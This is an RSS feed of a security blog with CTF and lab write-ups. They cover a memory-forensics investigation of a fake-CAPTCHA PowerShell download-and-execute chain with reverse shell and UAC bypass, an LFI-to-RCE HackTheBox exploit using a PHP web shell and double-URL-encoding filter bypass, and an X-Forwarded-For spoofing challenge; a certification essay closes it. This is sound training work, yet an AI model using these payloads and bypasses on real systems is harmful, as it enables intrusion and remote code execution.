<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Security Blog]]></title><description><![CDATA[Security Blog]]></description><link>https://dangkhoi.hashnode.dev</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1766431837253/9873cfac-41aa-4a0d-b8dd-901a97c7d427.png</url><title>Security Blog</title><link>https://dangkhoi.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Sun, 06 Sep 2026 12:53:37 GMT</lastBuildDate><atom:link href="https://dangkhoi.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[WannaGame Championship 2025-Writeup]]></title><description><![CDATA[Hide and Seek – Forensic Investigation Report
The victim reported that after browsing and downloading some files, suspicious processes began appearing on the system. Our objective is to reconstruct th]]></description><link>https://dangkhoi.hashnode.dev/wannagame-championship-2025-writeup</link><guid isPermaLink="true">https://dangkhoi.hashnode.dev/wannagame-championship-2025-writeup</guid><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[forensics]]></category><dc:creator><![CDATA[Khôi Nguyễn Đăng]]></dc:creator><pubDate>Fri, 27 Feb 2026 14:36:04 GMT</pubDate><content:encoded><![CDATA[<h1>Hide and Seek – Forensic Investigation Report</h1>
<p>The victim reported that after browsing and downloading some files, suspicious processes began appearing on the system. Our objective is to reconstruct the attack chain and identify the adversary’s techniques.</p>
<hr />
<h2>[1] MITRE ATT&amp;CK ID for Initial Access (TXXXX.XXX)</h2>
<p>Browser history analysis (Firefox) revealed that the user accessed a suspicious internal URL shortly before malicious activity began.</p>
<p>There is no indication of an exploit chain or drive-by download. Instead, the evidence suggests that the victim was socially engineered into clicking a malicious link.</p>
<p>This behavior aligns with:</p>
<blockquote>
<p><strong>Phishing via malicious link</strong></p>
</blockquote>
<p>MITRE ATT&amp;CK mapping:</p>
<p><strong>Answer:</strong> <code>T1566.002</code></p>
<hr />
<h2>[2] Which link did the victim access? (ASCII)</h2>
<p>The final suspicious entry in the browser history shows:</p>
<pre><code class="language-plaintext">http://192.168.1.11:7331/captcha.html
</code></pre>
<p>This appears to be a fake CAPTCHA page used to trick the victim into executing a command.</p>
<p><strong>Answer:</strong>  </p>
<p><code>http://192.168.1.11:7331/captcha.html</code></p>
<hr />
<h2>[3] What command was the victim tricked into executing? (ASCII)</h2>
<p>Using the <code>cmdline</code> plugin in Volatility, we examined process command-line arguments and identified a PowerShell process running a base64-encoded payload:</p>
<pre><code class="language-plaintext">powershell.exe -eC aQB3AHIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAxADoANwAzADMAMQAvAHkALgBwAHMAMQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAB8ACAAaQBlAHgA
</code></pre>
<p>After decoding the base64 string:</p>
<pre><code class="language-plaintext">iwr http://192.168.1.11:7331/y.ps1 -UseBasicParsing | iex
</code></pre>
<p>Explanation:</p>
<ul>
<li><p><code>iwr</code> → Invoke-WebRequest</p>
</li>
<li><p>Downloads <code>y.ps1</code></p>
</li>
<li><p>Pipes output to <code>iex</code> (Invoke-Expression)</p>
</li>
<li><p>Executes it directly in memory</p>
</li>
</ul>
<p>This is a typical “download-and-execute” technique.</p>
<p><strong>Answer:</strong>  </p>
<p><code>powershell.exe -eC aQB3AHIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAxADoANwAzADMAMQAvAHkALgBwAHMAMQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAB8ACAAaQBlAHgA</code></p>
<hr />
<h2>[4] What URL was used to retrieve the payload and what filename was it saved as?</h2>
<p>(<a href="http://example.com/script.ext_file.rar">http://example.com/script.ext_file.rar</a>)</p>
<p>After dumping the PowerShell process memory (PID 3000), we recovered the executed script content.</p>
<p>The script:</p>
<ul>
<li><p>Downloads <code>update.zip</code></p>
</li>
<li><p>Saves it as <code>kqwer.zip</code> in <code>%TEMP%</code></p>
</li>
<li><p>Extracts it</p>
</li>
<li><p>Executes <code>verify.exe</code></p>
</li>
</ul>
<p>Relevant snippet recovered from memory:</p>
<pre><code class="language-plaintext">$url1 = "http://192.168.1.11:7331/update.zip"
\(zipPath1 = "\)env:TEMP\kqwer.zip"
</code></pre>
<p>Therefore:</p>
<ul>
<li><p>Script URL: <code>http://192.168.1.11:7331/y.ps1</code></p>
</li>
<li><p>Saved filename: <code>kqwer.zip</code></p>
</li>
</ul>
<p><strong>Answer:</strong>  </p>
<p><code>http://192.168.1.11:7331/y.ps1_kqwer.zip</code></p>
<hr />
<h2>[5] MITRE ID and Registry location (TXXXX_Hive\Key)</h2>
<p>Process tree analysis showed:</p>
<pre><code class="language-plaintext">explorer.exe → powershell.exe
</code></pre>
<p>This strongly indicates execution via the Windows Run dialog (Win + R).</p>
<p>To confirm, we examined the following registry key:</p>
<pre><code class="language-plaintext">HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
</code></pre>
<p>This key stores commands executed via the Run dialog.</p>
<p>The corresponding MITRE technique:</p>
<blockquote>
<p>User Execution</p>
</blockquote>
<p><strong>Answer:</strong>  </p>
<p><code>T1204_HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU</code></p>
<hr />
<h2>[6] Malicious file location and injected process (C:\path\folder\A_processA.ext_1234)</h2>
<p>The downloaded archive extracted and executed:</p>
<pre><code class="language-plaintext">verify.exe
</code></pre>
<p>Static analysis using IDA revealed:</p>
<ul>
<li><p>The binary decrypts embedded shellcode using XOR</p>
</li>
<li><p>Key used:  </p>
<p><code>6ddLG9a8gc69cf4J0bZrzgGjr9zRMR</code></p>
</li>
<li><p>The decrypted shellcode is injected into <code>explorer.exe</code></p>
</li>
</ul>
<p>Observed process hierarchy:</p>
<pre><code class="language-plaintext">explorer.exe (PID 6500)
 └── powershell.exe (3000)
      └── verify.exe
</code></pre>
<p>Malware location:</p>
<pre><code class="language-plaintext">C:\Users\imnoob\AppData\Local\Temp\file
</code></pre>
<p>Injected process:</p>
<pre><code class="language-plaintext">explorer.exe (PID 6500)
</code></pre>
<p><strong>Answer:</strong>  </p>
<p><code>C:\Users\imnoob\AppData\Local\Temp\file_explorer.exe_6500</code></p>
<hr />
<h2>[7] Attacker IP and PORT inside injected shellcode (IP:PORT)</h2>
<p>After decrypting the shellcode and disassembling it, we found:</p>
<pre><code class="language-plaintext">PUSH 0B01A8C0
PUSH A5FB0002
</code></pre>
<p>Converting from little-endian:</p>
<pre><code class="language-plaintext">C0 A8 01 0B → 192.168.1.11
A5 FB → 64421
</code></pre>
<p>This indicates a reverse shell connection.</p>
<p><strong>Answer:</strong>  </p>
<p><code>192.168.1.11:64421</code></p>
<hr />
<h2>[8] Process used for UAC bypass and PPID spoofing (ProcessA.ext_1234)</h2>
<p>Further analysis showed:</p>
<pre><code class="language-plaintext">powershell.exe -ExecutionPolicy Bypass
 → fodhelper.exe
</code></pre>
<p><code>fodhelper.exe</code> is a known auto-elevated binary frequently abused for UAC bypass.</p>
<p>Observed relationship:</p>
<pre><code class="language-plaintext">powershell.exe (PID 5888)
 └── fodhelper.exe (PID 2964)
</code></pre>
<p>This confirms privilege escalation via UAC bypass.</p>
<p><strong>Answer:</strong>  </p>
<p><code>fodhelper.exe_5888</code></p>
<hr />
<h1>Final Flag</h1>
<pre><code class="language-plaintext">W1{conGR4TUIaTi0N5-9OU-Fin4ILy-fOUND-m3!ll10dc}
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Chaining LFI to RCE – HackTheBox]]></title><description><![CDATA[Problem
This lab is from HackTheBox. The objective is to achieve Remote Code Execution (RCE) and retrieve the flag located in the root directory.
The web application is quite simple. It contains three]]></description><link>https://dangkhoi.hashnode.dev/chaining-lfi-to-rce-hackthebox</link><guid isPermaLink="true">https://dangkhoi.hashnode.dev/chaining-lfi-to-rce-hackthebox</guid><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[Khôi Nguyễn Đăng]]></dc:creator><pubDate>Mon, 23 Feb 2026 06:13:50 GMT</pubDate><content:encoded><![CDATA[<h2>Problem</h2>
<p>This lab is from HackTheBox. The objective is to achieve Remote Code Execution (RCE) and retrieve the flag located in the root directory.</p>
<p>The web application is quite simple. It contains three main tabs: <strong>Home</strong>, <strong>Contact</strong>, and most importantly, <strong>/apply</strong>, which allows users to upload an image file.</p>
<hr />
<h2>Recon</h2>
<p>After spending some time enumerating the website, I discovered a suspicious endpoint :</p>
<pre><code class="language-plaintext">/contact.php
</code></pre>
<p>I attempted to test for Local File Inclusion (LFI) vulnerabilities by fuzzing parameters with <strong>ffuf</strong>. Eventually, I found a parameter confirming that the website was vulnerable to LFI.</p>
<p>At that point, I thought the challenge was basically solved.</p>
<p>However, it was not that simple.</p>
<p>I tried using automated exploitation tools like <strong>lfisuite</strong>, continued fuzzing with <strong>ffuf</strong>, and manually tested multiple payloads and bypass techniques in an attempt to evade the WAF. Unfortunately, none of them worked.</p>
<p>The filtering mechanism was extremely strict:</p>
<ul>
<li><p>Any occurrence of <code>.</code> or <code>/</code> (typical file inclusion characters) was blocked.</p>
</li>
<li><p>Sensitive keywords such as <code>/etc/passwd</code> and <code>config</code> were filtered.</p>
</li>
</ul>
<p>I spent around 5–6 hours testing different payload variations but was completely stuck at this stage.</p>
<hr />
<h2>Breakthrough</h2>
<p>While taking a break, I asked myself:</p>
<blockquote>
<p>Why am I focusing only on that single endpoint?</p>
</blockquote>
<p>I went back to the lab and started reviewing the source code more carefully. I tested other endpoints and APIs and eventually discovered a crucial API that completely changed my approach.</p>
<p>I tested LFI on this new parameter — and boom, it worked.</p>
<p>After successfully performing path traversal, I began leaking sensitive files to find something that could lead to RCE. During fuzzing, I discovered an interesting file:</p>
<pre><code class="language-plaintext">/var/log/nginx/access.log
</code></pre>
<p>This indicated that <strong>Log Poisoning</strong> might be possible.</p>
<p>The idea was simple:</p>
<ol>
<li><p>Send a request to the web server.</p>
</li>
<li><p>Modify the <code>User-Agent</code> header to inject PHP code:</p>
</li>
</ol>
<pre><code class="language-plaintext">&lt;?php system($_GET["cmd"]); ?&gt;
</code></pre>
<p>However, it did not execute. The payload was written into the log file but never interpreted as PHP code. It seemed the developers used a safe function like <code>file_get_contents()</code> instead of <code>include()</code>.</p>
<p>So log poisoning was not viable.</p>
<hr />
<h2>Reviewing the Source Code</h2>
<h3><code>/api/image.php</code></h3>
<pre><code class="language-plaintext">&lt;?php
if (isset($_GET["p"])) {
    $path = "../images/" . str_replace("../", "", $_GET["p"]);
    $contents = file_get_contents($path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?&gt;
</code></pre>
<p>This confirmed the LFI vulnerability again. The filtering was weak and not properly implemented.</p>
<hr />
<h3><code>/api/application.php</code></h3>
<pre><code class="language-plaintext">&lt;?php
$firstName = $_POST["firstName"];
$lastName = $_POST["lastName"];
$email = $_POST["email"];
$notes = (isset($_POST["notes"])) ? $_POST["notes"] : null;

$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);

header("Location: /thanks.php?n=" . urlencode($firstName));
?&gt;
</code></pre>
<p>This revealed something important:</p>
<ul>
<li><p>Uploaded files are stored in <code>/uploads/</code></p>
</li>
<li><p>The filename is hashed using <code>md5_file()</code></p>
</li>
<li><p>The original extension is preserved</p>
</li>
</ul>
<p>At this point, the plan became clearer:</p>
<ol>
<li><p>Upload a PHP shell.</p>
</li>
<li><p>Use LFI to trigger it.</p>
</li>
</ol>
<p>However, there was still one missing piece:</p>
<p>We needed a parameter that used <code>include()</code> instead of <code>file_get_contents()</code> in order to gain execution.</p>
<p>And I found it.</p>
<hr />
<h3>Vulnerable <code>region</code> Parameter</h3>
<pre><code class="language-plaintext">&lt;p&gt;
&lt;?php
$region = "AT";
$danger = false;

if (isset($_GET["region"])) {
    if (str_contains($_GET["region"], ".") || str_contains($_GET["region"], "/")) {
        echo "'region' parameter contains invalid character(s)";
        $danger = true;
    } else {
        $region = urldecode($_GET["region"]);
    }
}

if (!$danger) {
    include "./regions/" . $region . ".php";
}
?&gt;
</code></pre>
<p>Now everything made sense.</p>
<p>The first parameter I had spent hours on earlier finally became useful.</p>
<h3>Understanding the Logic</h3>
<ul>
<li><p>If the parameter contains <code>.</code> or <code>/</code>, it gets blocked.</p>
</li>
<li><p>Otherwise, it is URL-decoded.</p>
</li>
<li><p>Then it gets passed into <code>include()</code>.</p>
</li>
</ul>
<p>So I thought:</p>
<blockquote>
<p>What if we double-encode the payload?</p>
</blockquote>
<p>If we encode <code>../</code> twice:</p>
<pre><code class="language-plaintext">../ → %2e%2e%2f
Double encode → %252e%252e%252f
</code></pre>
<p>The WAF does not detect <code>.</code> or <code>/</code>.</p>
<p>The server:</p>
<ol>
<li><p>Decodes once via <code>urldecode()</code></p>
</li>
<li><p>Then <code>include()</code> performs another decoding step</p>
</li>
</ol>
<p>This results in successful path traversal.</p>
<hr />
<h2>Final Exploit</h2>
<ol>
<li><p>Upload <code>payload.php</code></p>
</li>
<li><p>Calculate its MD5:</p>
</li>
</ol>
<pre><code class="language-plaintext">md5sum payload.php
eca599d7d063b4d277b7b14e5efe4a6e  payload.php
</code></pre>
<ol>
<li>Trigger execution:</li>
</ol>
<pre><code class="language-plaintext">http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&amp;cmd=id
</code></pre>
<p>And RCE was achieved.</p>
<hr />
<h1>Attack Chain Summary</h1>
<ol>
<li><p>Exploit LFI to read sensitive source code</p>
</li>
<li><p>Bypass WAF using double URL encoding</p>
</li>
<li><p>Upload malicious file</p>
</li>
<li><p>Use <code>include()</code> to achieve RCE</p>
</li>
</ol>
<hr />
<h1>Lessons Learned</h1>
<ol>
<li><p>Think in terms of <strong>bug chaining</strong>, not isolated vulnerabilities.</p>
</li>
<li><p>Always explore alternative attack vectors.</p>
</li>
<li><p>Think outside the box.</p>
</li>
</ol>
<hr />
<hr />
<h1>Chaining LFI to RCE – HackTheBox</h1>
<h2>🧩 Problem</h2>
<p>This lab is from HackTheBox. The objective is to achieve <strong>Remote Code Execution (RCE)</strong> and retrieve the flag located in the root directory.</p>
<p>The web application is simple, containing three main tabs:</p>
<ul>
<li><p>Home</p>
</li>
<li><p>Contact</p>
</li>
<li><p><code>/apply</code> (allows file upload)</p>
</li>
</ul>
<p>The upload functionality immediately caught my attention.</p>
<hr />
<h2>🔎 Recon</h2>
<p>During reconnaissance, I discovered a suspicious endpoint:</p>
<pre><code class="language-plaintext">/contact.php
</code></pre>
<p>I fuzzed parameters using <code>ffuf</code> and successfully identified an <strong>LFI (Local File Inclusion)</strong> vulnerability.</p>
<p>At this point, I thought the challenge was almost solved.</p>
<p>However, things became complicated.</p>
<h3>🚧 WAF Restrictions</h3>
<p>The application implemented strong filtering:</p>
<ul>
<li><p>Any <code>.</code> or <code>/</code> character was blocked</p>
</li>
<li><p>Sensitive paths like <code>/etc/passwd</code> were filtered</p>
</li>
<li><p>Keywords such as <code>config</code> were denied</p>
</li>
</ul>
<p>I attempted:</p>
<ul>
<li><p>Automated tools (<code>lfisuite</code>)</p>
</li>
<li><p>Further fuzzing with <code>ffuf</code></p>
</li>
<li><p>Manual payload crafting</p>
</li>
<li><p>Encoding variations</p>
</li>
</ul>
<p>Nothing worked.</p>
<p>After spending 5–6 hours, I was completely stuck.</p>
<hr />
<h2>💡 Breakthrough</h2>
<p>After taking a break, I reconsidered my approach:</p>
<blockquote>
<p>Why am I focusing only on one endpoint?</p>
</blockquote>
<p>I began reviewing other APIs and discovered a new interesting endpoint.</p>
<p>After testing it — boom — LFI worked again.</p>
<h3>📂 Path Traversal Success</h3>
<p>I managed to read sensitive files and eventually discovered:</p>
<pre><code class="language-plaintext">/var/log/nginx/access.log
</code></pre>
<p>This suggested the possibility of <strong>Log Poisoning</strong>.</p>
<hr />
<h2>🧪 Attempt: Log Poisoning</h2>
<p>I injected PHP code into the <code>User-Agent</code> header:</p>
<pre><code class="language-plaintext">&lt;?php system($_GET["cmd"]); ?&gt;
</code></pre>
<p>However, it did not execute.</p>
<p>The log file stored my payload, but the application used <code>file_get_contents()</code> instead of <code>include()</code>, so the code was never interpreted.</p>
<p>Log poisoning failed.</p>
<hr />
<h2>🔍 Source Code Analysis</h2>
<h3><code>/api/image.php</code></h3>
<pre><code class="language-plaintext">&lt;?php
if (isset($_GET["p"])) {
    $path = "../images/" . str_replace("../", "", $_GET["p"]);
    $contents = file_get_contents($path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?&gt;
</code></pre>
<p>This confirmed the LFI vulnerability due to improper sanitization.</p>
<hr />
<h3><code>/api/application.php</code></h3>
<pre><code class="language-plaintext">&lt;?php
$firstName = $_POST["firstName"];
$lastName = $_POST["lastName"];
$email = $_POST["email"];
$notes = (isset($_POST["notes"])) ? $_POST["notes"] : null;

$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);

header("Location: /thanks.php?n=" . urlencode($firstName));
?&gt;
</code></pre>
<p>Important observations:</p>
<ul>
<li><p>Uploaded files are stored in <code>/uploads/</code></p>
</li>
<li><p>The filename is hashed using <code>md5_file()</code></p>
</li>
<li><p>The original extension is preserved</p>
</li>
</ul>
<p>At this stage, the plan was:</p>
<ol>
<li><p>Upload a PHP web shell</p>
</li>
<li><p>Trigger it using LFI</p>
</li>
</ol>
<p>But we still needed a parameter using <code>include()</code> instead of <code>file_get_contents()</code>.</p>
<hr />
<h2>🎯 Final Piece – <code>region</code> Parameter</h2>
<pre><code class="language-plaintext">&lt;?php
$region = "AT";
$danger = false;

if (isset($_GET["region"])) {
    if (str_contains($_GET["region"], ".") || str_contains($_GET["region"], "/")) {
        echo "'region' parameter contains invalid character(s)";
        $danger = true;
    } else {
        $region = urldecode($_GET["region"]);
    }
}

if (!$danger) {
    include "./regions/" . $region . ".php";
}
?&gt;
</code></pre>
<h3>🔎 Analysis</h3>
<ul>
<li><p>If <code>.</code> or <code>/</code> appears → blocked</p>
</li>
<li><p>Otherwise → <code>urldecode()</code> is applied</p>
</li>
<li><p>Then passed into <code>include()</code></p>
</li>
</ul>
<p>So I thought:</p>
<blockquote>
<p>What if we double-encode the payload?</p>
</blockquote>
<hr />
<h2>🧠 Double Encoding Bypass</h2>
<p>Normal traversal:</p>
<pre><code class="language-plaintext">../
</code></pre>
<p>URL encoded:</p>
<pre><code class="language-plaintext">%2e%2e%2f
</code></pre>
<p>Double encoded:</p>
<pre><code class="language-plaintext">%252e%252e%252f
</code></pre>
<p>Since <code>%252e</code> does not contain <code>.</code> or <code>/</code>, the WAF does not block it.</p>
<p>Flow:</p>
<ol>
<li><p>Server decodes once using <code>urldecode()</code></p>
</li>
<li><p><code>include()</code> processes the decoded path</p>
</li>
<li><p>Path traversal succeeds</p>
</li>
</ol>
<hr />
<h2>🚀 Final Exploit</h2>
<h3>1️⃣ Upload <code>payload.php</code></h3>
<p>Example payload:</p>
<pre><code class="language-plaintext">&lt;?php system($_GET["cmd"]); ?&gt;
</code></pre>
<h3>2️⃣ Calculate MD5</h3>
<pre><code class="language-plaintext">md5sum payload.php
</code></pre>
<p>Output:</p>
<pre><code class="language-plaintext">eca599d7d063b4d277b7b14e5efe4a6e
</code></pre>
<h3>3️⃣ Trigger Execution</h3>
<pre><code class="language-plaintext">http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&amp;cmd=id
</code></pre>
<p>🎉 RCE achieved.</p>
<hr />
<h1>🔗 Attack Chain Summary</h1>
<ol>
<li><p>Exploit LFI to read source code</p>
</li>
<li><p>Identify upload functionality</p>
</li>
<li><p>Bypass WAF using double encoding</p>
</li>
<li><p>Upload malicious PHP file</p>
</li>
<li><p>Trigger execution via <code>include()</code></p>
</li>
</ol>
<hr />
<h1>📚 Lessons Learned</h1>
<ul>
<li><p>Think in terms of <strong>bug chaining</strong>, not isolated vulnerabilities</p>
</li>
<li><p>Always enumerate all endpoints</p>
</li>
<li><p>Review source code carefully</p>
</li>
<li><p>When stuck, take a break and rethink</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[A problem in DreamHack]]></title><description><![CDATA[Understanding IP Trust and the Dangers of X-Forwarded-For
While practicing some web challenges on DreamHack, I came across a beginner-level challenge called whoami – Level 1.Although the difficulty is]]></description><link>https://dangkhoi.hashnode.dev/a-problem-in-dreamhack</link><guid isPermaLink="true">https://dangkhoi.hashnode.dev/a-problem-in-dreamhack</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Khôi Nguyễn Đăng]]></dc:creator><pubDate>Tue, 06 Jan 2026 15:19:06 GMT</pubDate><content:encoded><![CDATA[<h2>Understanding IP Trust and the Dangers of <code>X-Forwarded-For</code></h2>
<p>While practicing some web challenges on <strong>DreamHack</strong>, I came across a beginner-level challenge called <code>whoami</code> – Level 1.<br />Although the difficulty is low, this challenge highlights a <strong>very common and dangerous mistake in real-world web applications</strong>: blindly trusting client-controlled headers.</p>
<hr />
<h2>Challenge Overview</h2>
<p>The challenge provides:</p>
<ul>
<li><p>A <strong>simple single-page web application</strong></p>
</li>
<li><p>Two backend API endpoints:</p>
<ul>
<li><p><code>/whoami</code></p>
</li>
<li><p><code>/admin</code></p>
</li>
</ul>
</li>
<li><p>The <strong>backend source code</strong>, written in <strong>Express (Node.js)</strong></p>
</li>
</ul>
<p>The objective is straightforward:</p>
<blockquote>
<p><strong>Gain admin privileges and retrieve the flag.</strong></p>
</blockquote>
<p>At first glance, this looks trivial. However, the interesting part lies in <strong>how the backend determines whether a user is an admin or not</strong>.</p>
<hr />
<h2>Backend Code Analysis</h2>
<p>After reviewing the Express backend source code, one thing immediately stood out:</p>
<blockquote>
<p><strong>Admin access is determined based on the client's IP address.</strong></p>
</blockquote>
<p>More specifically, the application relies on the value of the <code>X-Forwarded-For</code> HTTP header to identify the requester.</p>
<p>This is a classic red flag in web security.</p>
<hr />
<h2>What Is <code>X-Forwarded-For</code>?</h2>
<p><code>X-Forwarded-For</code> is a <strong>non-standard HTTP header</strong> commonly used by:</p>
<ul>
<li><p>Reverse proxies (Nginx, HAProxy)</p>
</li>
<li><p>Load balancers</p>
</li>
<li><p>CDNs (Cloudflare, AWS ALB, etc.)</p>
</li>
</ul>
<p>Its original purpose is to preserve the <strong>original client IP address</strong> when requests pass through one or more proxies.</p>
<p>Example:</p>
<pre><code class="language-http">X-Forwarded-For: 203.0.113.42
</code></pre>
<p>With multiple proxies involved:</p>
<pre><code class="language-plaintext">X-Forwarded-For: 203.0.113.42, 10.0.0.1, 172.16.0.5
</code></pre>
<p>By convention:</p>
<ul>
<li><p>The <strong>first IP</strong> is the original client</p>
</li>
<li><p>The remaining IPs are intermediate proxies</p>
</li>
</ul>
<hr />
<h2>The Core Issue: Client-Controlled Headers</h2>
<p>Here is the critical mistake made by the application:</p>
<blockquote>
<p><code>X-Forwarded-For</code> can be fully controlled by the client.</p>
</blockquote>
<p>Any user can manually set this header using tools such as:</p>
<ul>
<li><p><code>curl</code></p>
</li>
<li><p>Burp Suite</p>
</li>
<li><p>Postman</p>
</li>
</ul>
<p>For example:</p>
<pre><code class="language-plaintext">curl -H "X-Forwarded-For: 127.0.0.1" https://target/admin
</code></pre>
<p>If the backend blindly trusts this header <strong>without verifying that the request actually came through a trusted proxy</strong>, the access control logic is completely broken.</p>
<p>This type of mistake is frequently exploited to bypass:</p>
<ul>
<li><p>IP-based access control</p>
</li>
<li><p>Rate limiting</p>
</li>
<li><p>Geo-restrictions</p>
</li>
<li><p>Anti-bot mechanisms</p>
</li>
</ul>
<hr />
<h2>Exploitation</h2>
<p>In the <em>whoami</em> challenge, exploitation is extremely simple:</p>
<ol>
<li><p>Send a request to the <code>/admin</code> endpoint</p>
</li>
<li><p>Manually set the <code>X-Forwarded-For</code> header to a trusted IP (e.g., <code>127.0.0.1</code>)</p>
</li>
<li><p>The backend assumes the request is from an internal or admin user</p>
</li>
<li><p>Admin access is granted</p>
</li>
<li><p>The flag is returned</p>
</li>
</ol>
<p>No brute force.<br />No race condition.<br />Just a <strong>logic flaw caused by misplaced trust</strong>.</p>
<hr />
<h2>Retrieved Flag</h2>
<pre><code class="language-plaintext">DH{5c36de0d635aef1f7f3002163e7d9cca005b7fb470c93d68188d48d9f317a017}
</code></pre>
<hr />
<h2>Lessons Learned</h2>
<p>This challenge reinforces several important security lessons:</p>
<h3>1. Never Trust Client-Supplied Headers</h3>
<p>Headers such as <code>X-Forwarded-For</code>, <code>X-Real-IP</code>, or custom headers <strong>should never be trusted by default</strong>.</p>
<h3>2. Proxy Awareness Is Essential</h3>
<p><code>X-Forwarded-For</code> should only be used if:</p>
<ul>
<li><p>Requests come from <strong>trusted proxy IPs</strong></p>
</li>
<li><p>The backend explicitly validates the request source</p>
</li>
</ul>
<h3>3. Simple Bugs Can Have Serious Impact</h3>
<p>Even though this is a <strong>Level 1 challenge</strong>, the same vulnerability appears frequently in production systems.</p>
<hr />
<h2>Final Thoughts</h2>
<p>The <em>whoami</em> challenge is a great reminder that <strong>security is often about correct assumptions rather than complex exploits</strong>.</p>
<p>If you are developing or auditing web applications, always ask yourself:</p>
<blockquote>
<p><em>“Who controls this data?”</em></p>
</blockquote>
<p>Because if the user controls it — <strong>you should never trust it</strong>.</p>
]]></content:encoded></item><item><title><![CDATA[How I Failed My First Cybersecurity Certification]]></title><description><![CDATA[I used to think the ISC2 CC was just a “lightweight” theory-based certification. Three days of revision should have been enough.

While struggling with some CTF challenges, I started to feel a bit burned out. I scrolled through LinkedIn and saw peopl...]]></description><link>https://dangkhoi.hashnode.dev/how-i-failed-my-first-cybersecurity-certification</link><guid isPermaLink="true">https://dangkhoi.hashnode.dev/how-i-failed-my-first-cybersecurity-certification</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Certification]]></category><category><![CDATA[ISC2 Certification]]></category><category><![CDATA[failure]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Khôi Nguyễn Đăng]]></dc:creator><pubDate>Wed, 24 Dec 2025 16:23:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766592213887/8afc277e-bd43-4c45-8856-4535c0a5bb65.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>I used to think the ISC2 CC was just a “lightweight” theory-based certification. Three days of revision should have been enough.</p>
</blockquote>
<p>While struggling with some CTF challenges, I started to feel a bit burned out. I scrolled through LinkedIn and saw people constantly sharing about certifications in the industry—prestigious ones like OSCP, CISSP, or more entry-level options such as CCNA or eJPT (often considered a lighter version of OSCP).</p>
<p>I really wanted to challenge myself with those certifications, but I was afraid of failing and wasting money.</p>
<p><strong>So the question was: is there any certification with similar pressure but zero cost?</strong></p>
<p>After some research, I came across a very reputable certification from ISC2. Just hearing the name ISC2 already signals credibility—it’s the organization behind legendary certifications like CISSP and SSCP, and is considered one of the world’s leading non-profit associations for information security professionals.</p>
<p>And the certification I’m talking about is <strong>Certified in Cybersecurity</strong>, abbreviated as <strong>CC</strong>.</p>
<hr />
<h2 id="heading-1-what-is-the-isc2-cc-certification">1. What Is the ISC2 CC Certification?</h2>
<p>If you search Google with questions like <em>“What certifications should I get for entry-level cybersecurity?”</em> or <em>“How do I get into cybersecurity?”</em>, chances are this certification will show up.</p>
<p>The ISC2 CC is designed for beginners entering the cybersecurity field. At first, I thought it mainly covered basic theory. Honestly, I felt it was not that different from taking a driving license test—just memorize the theory, understand some basic concepts, and you’d be fine.</p>
<p>That was… until I failed 😇.</p>
<p>ISC2 CC doesn’t ask you to hack a server. Instead, it tests whether you understand <strong>how security operates within an organization</strong>.</p>
<p>Anyone can study for and take this exam <strong>for free</strong> through the <em>“One Million Certified in Cybersecurity”</em> program on the ISC2 website. The registration process is straightforward: just book a suitable exam date and show up.</p>
<h3 id="heading-exam-domains-overview">Exam Domains Overview</h3>
<p>To prepare for this certification, you need to master the following five domains:</p>
<ul>
<li><p><strong>Domain 1: Security Principles</strong><br />  Covers fundamental principles such as the CIA triad, ethical codes, and core security concepts.</p>
</li>
<li><p><strong>Domain 2: Incident Response, Business Continuity, and Disaster Recovery Concepts</strong><br />  Focuses on planning and responding to security incidents, ensuring organizations can recover and continue operating normally.</p>
</li>
<li><p><strong>Domain 3: Access Control Concepts</strong><br />  Covers access control models like MAC, DAC, LAC, and RBAC.<br />  In my opinion, this is both one of the easiest <em>and</em> most annoying domains—easy to confuse, hard to classify, and it appears very frequently in exam questions.</p>
</li>
<li><p><strong>Domain 4: Network Security</strong><br />  Includes cloud service models such as SaaS and PaaS, network architectures, and common ports and services like HTTP, SNMP, FTP, etc.</p>
</li>
<li><p><strong>Domain 5: Security Operations</strong><br />  Introduces basic cryptography (hashing, symmetric and asymmetric encryption), password policies, logging, monitoring, and more.</p>
</li>
</ul>
<p>This is only a high-level summary. There’s a lot more content that I haven’t listed here.</p>
<p>In my opinion, <strong>knowledge accounts for only about 60% of passing this exam</strong>. The remaining 40% is all about <strong>mindset</strong>. This certification leans much more toward <strong>management and governance</strong> rather than pure technical skills—and that’s exactly why I failed.</p>
<hr />
